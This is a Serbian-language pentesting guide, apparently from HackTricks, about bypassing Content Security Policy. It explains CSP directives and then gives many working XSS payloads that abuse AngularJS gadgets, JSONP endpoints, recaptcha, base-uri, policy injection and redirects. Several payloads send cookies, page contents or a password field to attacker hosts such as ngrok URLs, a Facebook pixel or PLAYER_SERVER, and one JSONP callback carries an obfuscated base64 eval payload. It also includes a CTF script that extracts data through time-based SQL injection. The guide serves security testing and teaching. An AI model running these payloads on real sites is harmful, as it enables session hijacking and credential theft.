42 KiB
Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
Šta je CSP
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na zaštitu od napada kao što su cross-site scripting (XSS). Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su eval
, setTimeout
ili setInterval
.
Implementacija CSP se vrši putem odgovarajućih zaglavlja ili uključivanjem meta elemenata u HTML stranicu. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
- Implementirano putem odgovarajućeg zaglavlja:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementirano putem meta taga:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP se može primeniti ili pratiti koristeći ove heder-e:
Content-Security-Policy
: Primorava CSP; pregledač blokira sve prekršaje.Content-Security-Policy-Report-Only
: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.
Defining Resources
CSP ograničava porekla za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i korišćenje eval()
. Primer politike je:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktive
- script-src: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilovi.
- default-src: Postavlja podrazumevanu politiku za preuzimanje resursa kada su specifične direktive za preuzimanje odsutne.
- child-src: Precizira dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
- connect-src: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
- frame-src: Ograničava URL-ove za okvire.
- frame-ancestors: Precizira koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su
<frame>
,<iframe>
,<object>
,<embed>
, i<applet>
. - img-src: Definiše dozvoljene izvore za slike.
- font-src: Precizira validne izvore za fontove učitane koristeći
@font-face
. - manifest-src: Definiše dozvoljene izvore datoteka manifest aplikacije.
- media-src: Definiše dozvoljene izvore za učitavanje medijskih objekata.
- object-src: Definiše dozvoljene izvore za elemente
<object>
,<embed>
, i<applet>
. - base-uri: Precizira dozvoljene URL-ove za učitavanje koristeći
<base>
elemente. - form-action: Navodi validne krajnje tačke za slanje obrazaca.
- plugin-types: Ograničava mime tipove koje stranica može da pozove.
- upgrade-insecure-requests: Naređuje pretraživačima da prepišu HTTP URL-ove na HTTPS.
- sandbox: Primena ograničenja sličnih sandbox atributu
<iframe>
. - report-to: Precizira grupu kojoj će izveštaj biti poslat ako se politika prekrši.
- worker-src: Precizira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
- prefetch-src: Precizira validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
- navigate-to: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)
Izvori
*
: Dozvoljava sve URL-ove osim onih sadata:
,blob:
,filesystem:
shemama.'self'
: Dozvoljava učitavanje sa iste domene.'data'
: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).'none'
: Blokira učitavanje sa bilo kog izvora.'unsafe-eval'
: Dozvoljava korišćenjeeval()
i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.'unsafe-hashes'
: Omogućava specifične inline upravljače događaja.'unsafe-inline'
: Dozvoljava korišćenje inline resursa kao što su inline<script>
ili<style>
, ne preporučuje se iz bezbednosnih razloga.'nonce'
: Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa
doc.defaultView.top.document.querySelector("[nonce]")
i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
'sha256-<hash>'
: Beleži skripte sa specifičnim sha256 hash-om.'strict-dynamic'
: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.'host'
: Precizira određeni host, kao što jeexample.com
.https:
: Ograničava URL-ove na one koji koriste HTTPS.blob:
: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ovi kreirani putem JavaScript-a).filesystem:
: Omogućava učitavanje resursa sa datotečnog sistema.'report-sample'
: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).'strict-origin'
: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).'strict-origin-when-cross-origin'
: Šalje pune URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev međuporeklo.'unsafe-allow-redirects'
: Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.
Unsafe CSP Rules
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Radni payload: "/><script>alert(1);</script>
self + 'unsafe-inline' putem Iframes
{{#ref}} csp-bypass-self-+-unsafe-inline-with-iframes.md {{#endref}}
'unsafe-eval'
Caution
Ovo ne funkcioniše, za više informacija proverite ovo.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Radni payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Ako možete na neki način da omogućite dozvoljenom JS kodu da kreira novu script tag u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, nova script tag će biti dozvoljena za izvršavanje.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Radni payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Nedostatak object-src i default-src
[!CAUTION] > Izgleda da ovo više ne funkcioniše
Content-Security-Policy: script-src 'self' ;
Radni payloadi:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Upload fajlova + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:
Radni payload:
"/>'><script src="/uploads/picture.png.js"></script>
Međutim, veoma je verovatno da server validira otpremnenu datoteku i da će vam dozvoliti da otpremite određene tipove datoteka.
Štaviše, čak i ako biste mogli da otpremite JS kod unutar datoteke koristeći ekstenziju koju server prihvata (kao što je: script.png), to neće biti dovoljno jer neki serveri poput apache servera biraju MIME tip datoteke na osnovu ekstenzije i pregledači poput Chrome-a će odbiti da izvrše Javascript kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da Apache ne prepoznaje ekstenziju .wave, stoga je ne servira sa MIME tipom kao audio/*.
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete pogrešno interpretiranu ekstenziju, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot (neki primeri poliglotova ovde).
Form-action
Ako nije moguće injektovati JS, još uvek možete pokušati da eksfiltrirate, na primer, kredencijale injektovanjem akcije forme (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći primer u ovom izveštaju. Takođe, primetite da default-src
ne pokriva akcije formi.
Treće strane + ('unsafe-eval')
Warning
Za neke od sledećih payload-a
unsafe-eval
čak nije ni potreban.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Učitajte ranjivu verziju angulera i izvršite proizvoljni JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + a library with functions that return the window
object (check out this post):
Tip
Post pokazuje da možete učitati sve biblioteke sa
cdn.cloudflare.com
(ili bilo kog drugog dozvoljenog JS repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke i proveriti koje funkcije iz kojih biblioteka vraćajuwindow
objekat.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS iz imena klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Zloupotreba google recaptcha JS koda
Prema ovom CTF izveštaju, možete zloupotrebiti https://www.google.com/recaptcha/ unutar CSP-a da izvršite proizvoljan JS kod zaobilaženjem CSP-a:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Više payloads iz ovog izveštaja:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Zloupotreba www.google.com za otvoreni preusmeravanje
Sledeći URL preusmerava na example.com (iz ovde):
https://www.google.com/amp/s/example.com/
Zloupotreba *.google.com/script.google.com
Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici unutar script.google.com. Kao što je urađeno u ovom izveštaju.
Treće strane + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenariji poput ovog gde je script-src
postavljen na self
i određenu domenu koja je na beloj listi mogu se zaobići korišćenjem JSONP. JSONP krajnje tačke omogućavaju nesigurne callback metode koje omogućavaju napadaču da izvrši XSS, radni payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee sadrži spremne JSONP krajnje tačke za CSP zaobilaženje različitih veb sajtova.
Ista ranjivost će se pojaviti ako pouzdana krajnja tačka sadrži Open Redirect jer ako je inicijalna krajnja tačka pouzdana, preusmeravanja su pouzdana.
Zloupotrebe trećih strana
Kao što je opisano u sledećem postu, postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, a mogu se zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
Entitet | Dozvoljeni domen | Mogućnosti |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji šansa da biste mogli da zaobiđete CSP registracijom na usluzi treće strane i, ili eksfiltrirate podatke na tu uslugu ili izvršite kod.
Na primer, ako pronađete sledeći CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
или
Content-Security-Policy: connect-src www.facebook.com;
Treba da budete u mogućnosti da exfiltrirate podatke, slično kao što je oduvek rađeno sa Google Analytics/Google Tag Manager. U ovom slučaju, pratite ove opšte korake:
- Napravite Facebook Developer nalog ovde.
- Napravite novu aplikaciju "Facebook Login" i izaberite "Website".
- Idite na "Settings -> Basic" i dobijte svoj "App ID".
- Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
- Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovome: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Izaberite tab "Test Events" da vidite događaje koje šalje "vaš" veb sajt.
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Što se tiče ostalih sedam domena trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni blog post za dodatna objašnjenja o drugim zloupotrebama trećih strana.
Bypass putem RPO (Relative Path Overwrite)
Pored prethodno pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika koja se zove Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Na primer, ako CSP dozvoljava putanju https://example.com/scripts/react/
, može se zaobići na sledeći način:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Pregledač će na kraju učitati https://example.com/scripts/angular/angular.js
.
To funkcioniše jer za pregledač učitavate datoteku pod imenom ..%2fangular%2fangular.js
koja se nalazi pod https://example.com/scripts/react/
, što je u skladu sa CSP.
∑, oni će to dekodirati, efektivno tražeći https://example.com/scripts/react/../angular/angular.js
, što je ekvivalentno https://example.com/scripts/angular/angular.js
.
Iskorišćavanjem ove nekonzistentnosti u interpretaciji URL-a između pregledača i servera, pravila putanje se mogu zaobići.
Rešenje je da se %2f
ne tretira kao /
na strani servera, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.
Online primer: https://jsbin.com/werevijewa/edit?html,output
Iframes JS izvršavanje
{{#ref}} ../xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}}
nedostaje base-uri
Ako je direktiva base-uri odsutna, možete je zloupotrebiti da izvršite dangling markup injection.
Štaviše, ako stranica učitava skriptu koristeći relativnu putanju (kao što je <script src="/js/app.js">
) koristeći Nonce, možete zloupotrebiti base tag da učitate skriptu sa vašeg servera, postignuvši XSS.
Ako se ranjiva stranica učitava sa httpS, koristite httpS URL u bazi.
<base href="https://www.attacker.com/" />
AngularJS događaji
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat $event
, koji se odnosi na objekat nativnog browser događaja. Ovaj $event
objekat može biti iskorišćen za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, $event/event
objekat poseduje path
atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat window
uvek smešten na kraju. Ova struktura je ključna za taktike izlaska iz sandbox-a.
Usmeravanjem ovog niza ka orderBy
filteru, moguće je iterirati kroz njega, koristeći terminalni element (objekat window
) da pokrene globalnu funkciju kao što je alert()
. Prikazani kod ispod objašnjava ovaj proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ovaj isječak ističe upotrebu ng-focus
direktive za pokretanje događaja, koristeći $event.path|orderBy
za manipulaciju path
nizom, i koristeći window
objekat za izvršavanje alert()
funkcije, čime se otkriva document.cookie
.
Pronađite druge Angular bypass-e na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS i dozvoljena domena
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom git repository.
Radni payloadi:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći ovde (neki od njih su obrisani ili ispravljeni)
Bypass putem preusmeravanja
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
Međutim, prema opisu u CSP specifikaciji 4.2.2.3. Putevi i preusmeravanja, ako preusmeravanje vodi ka drugom putu, može zaobići originalna ograničenja.
Evo jednog primera:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Ako je CSP postavljen na https://www.google.com/a/b/c/d
, pošto se putanja uzima u obzir, skripte /test
i /a/test
će biti blokirane od strane CSP-a.
Međutim, konačni http://localhost:5555/301
će biti preusmeren na serverskoj strani na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Pošto je u pitanju preusmeravanje, putanja se ne uzima u obzir, i skripta može biti učitana, čime se zaobilazi ograničenje putanje.
Sa ovim preusmeravanjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.
Stoga, najbolje rešenje je osigurati da veb sajt nema otvorene ranjivosti za preusmeravanje i da ne postoje domeni koji se mogu iskoristiti u CSP pravilima.
Zaobilaženje CSP-a sa visećim oznakama
Pročitajte kako ovde.
'unsafe-inline'; img-src *; putem XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i img-src *
znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Možete takođe zloupotrebiti ovu konfiguraciju da učitate javascript kod umetnut unutar slike. Ako, na primer, stranica dozvoljava učitavanje slika sa Twittera. Možete napraviti posebnu sliku, otpremiti je na Twitter i zloupotrebiti "unsafe-inline" da izvršite JS kod (kao običan XSS) koji će učitati sliku, izvući JS iz nje i izvršiti ga: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Sa Servisnim Radnicima
Funkcija servisnih radnika importScripts
nije ograničena CSP-om:
{{#ref}} ../xss-cross-site-scripting/abusing-service-workers.md {{#endref}}
Injekcija Politike
Istraživanje: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Ako je parametar koji ste poslali nalepio unutar deklaracije politike, onda možete izmeniti politiku na neki način koji je čini beskorisnom. Možete dozvoliti skriptu 'unsafe-inline' sa bilo kojim od ovih zaobilaženja:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Zato što će ova direktiva prepisati postojeće script-src direktive.
Možete pronaći primer ovde: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: ;_
Edge bi odbacio celu politiku.
Primer: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; putem XSS (iframe) - Vremenski napad
Obratite pažnju na nedostatak direktive 'unsafe-inline'
Ovog puta možete naterati žrtvu da učita stranicu pod vašom kontrolom putem XSS sa <iframe
. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (CSRF). Ne možete pristupiti sadržaju stranice, ali ako nekako možete kontrolisati vreme koje je stranici potrebno da se učita, možete izvući informacije koje su vam potrebne.
Ovog puta će biti izvučen flag, kada god se karakter ispravno pogodi putem SQLi, odgovor traje duže zbog sleep funkcije. Tada ćete moći da izvučete flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Via Bookmarklets
Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač uverava korisnika da prevuče i ispusti link preko bookmarkleta pregledača. Ovaj bookmarklet bi sadržao malicious javascript kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, zaobilazeći CSP i omogućavajući krađu osetljivih informacija kao što su kolačići ili tokeni.
Za više informacija proverite originalni izveštaj ovde.
CSP bypass by restricting CSP
U ovoj CTF analizi, CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem prototype pollution ili dom clobbering omogućila zloupotrebu različitog skripta za učitavanje proizvoljnog skripta.
Možete ograničiti CSP iframe-a sa csp
atributom:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
U ovoj CTF analizi, bilo je moguće putem HTML injekcije da se ograniči više CSP tako da je skripta koja sprečava CSTI onemogućena i stoga je ranjivost postala iskoristiva.
CSP se može učiniti restriktivnijim korišćenjem HTML meta tagova i inline skripte mogu onemogućiti uklanjanje unosa koji omogućava njihov nonce i omogućiti specifičnu inline skriptu putem sha:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltracija sa Content-Security-Policy-Report-Only
Ako uspete da naterate server da odgovori sa zaglavljem Content-Security-Policy-Report-Only
sa vrednošću koju kontrolišete (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako obavijete JS sadržaj koji želite da eksfiltrirate sa <script>
i zato što je veoma verovatno da unsafe-inline
nije dozvoljen od strane CSP, ovo će pokrenuti CSP grešku i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz Content-Security-Policy-Report-Only
.
Za primer proverite ovaj CTF izveštaj.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Curjenje informacija sa CSP i Iframe
iframe
se kreira koji upućuje na URL (nazovimo gahttps://example.redirect.com
) koji je dozvoljen od strane CSP-a.- Ovaj URL zatim preusmerava na tajni URL (npr.,
https://usersecret.example2.com
) koji nije dozvoljen od strane CSP-a. - Slušanjem
securitypolicyviolation
događaja, može se uhvatitiblockedURI
svojstvo. Ovo svojstvo otkriva domen blokiranog URI-a, curi tajni domen na koji je inicijalni URL preusmerio.
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa rukovanjem iframe-ovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Praćenjem koje zahteve CSP blokira ili dozvoljava, može se suziti mogući skup karaktera u tajnom poddomeni, na kraju otkrivajući punu URL adresu.
Obe metode koriste nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako naizgled sigurni propisi mogu nenamerno otkriti osetljive informacije.
Trik iz ovde.
Nesigurne tehnologije za zaobilaženje CSP-a
PHP greške kada je previše parametara
Prema poslednjoj tehnici komentarisanoj u ovom videu, slanje previše parametara (1001 GET parametar iako to možete uraditi i sa POST parametrima i više od 20 fajlova). Svaki definisani header()
u PHP web kodu neće biti poslat zbog greške koju će ovo izazvati.
Preopterećenje PHP odgovora
